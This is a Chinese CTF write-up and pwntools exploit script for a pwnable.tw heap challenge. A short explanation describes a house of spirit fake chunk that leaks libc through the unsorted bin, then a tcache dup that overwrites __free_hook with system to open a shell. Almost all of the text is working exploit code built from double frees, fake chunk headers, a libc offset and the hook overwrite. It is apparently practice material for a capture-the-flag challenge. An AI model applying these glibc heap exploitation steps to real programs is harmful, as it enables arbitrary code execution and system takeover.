利用house of spirit的方法构造fake chunk然后，这个chunk大小足够大，在free的时候就会进入unsorted bin,然后再次free这个chunk，main_arena+96的地址就会放入fake chunk的bk位置。我们只要构造fake chunk到bss中的name的地址，然后show name就可以泄露libc的地址了。
同理，利用tcache dup可以把free hook的地址改写为system，然后申请个heap，heap内容写为/bin/sh,free的时候，heap的地址刚好是/bin/sh字符串的地址，就能getshell了。当然也可以写入on_gadget.

from pwn import *
context.log_level='DEBUG'
if  args['REMOTE']:
    p=remote('chall.pwnable.tw', 10207)
    elf=ELF('./t')
    libc=ELF('./libc.so')
else:
    p=process('./t')
    elf=ELF('./t')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


name_addr=0x602050 #name header start

def add(size,content):
    p.recvuntil(':')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.sendline(str(content))
    log.info('add '+str(size)+': '+str(content))
    
def free():
    p.recvuntil(':')
    p.sendline('2')
    log.info('free')
    
def show():
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil("Name :")

def name():
    p.recvuntil(':')
    p.sendline('happy')


name()
#use tcache dup tech to modify data

#build unsorted chunks
add(0x70,'0- tcache')
free() #
free() # double free now, to get a chunk at name's next chunk address
#consider name's unsorted chunk's size is 0x500(including header)
add(0x70,p64(name_addr+0x500)) #modify fk
add(0x70,'happy')        #vicitim chunks(fk points to name next chunk)
#now tcache seems empty
payload=p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21)    ##overwrite bk size to 0x20
add(0x70,payload)        #modify name's next chunk

add(0x60,"1- tcache")
free()
free() #double free again
add(0x60,p64(name_addr))
add(0x60,"happy")
payload=p64(0)+p64(0x501)+p64(0)*5+p64(name_addr+0x10) # make name's fake chunk unsorted chunk,bypass check
add(0x60,payload) #get name chunk and 

free()
show()
libc_addr=u64(p.recv(8))-0x3ebca0
log.success('libc_addr:'+str(hex(libc_addr)))
#gdb.attach(p)
#p.interactive()


#write free_hook
free_hook_addr=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"happy")
free()
free() #double free again
add(0x40,p64(free_hook_addr))
add(0x40,"happy")
add(0x40,p64(system_addr)) #overwrite on the fk(free_hook_addr)

#get_shell
add(0x18,"/bin/sh\x00")  #heap pointer (point to /bin/sh string)
free()
p.interactive()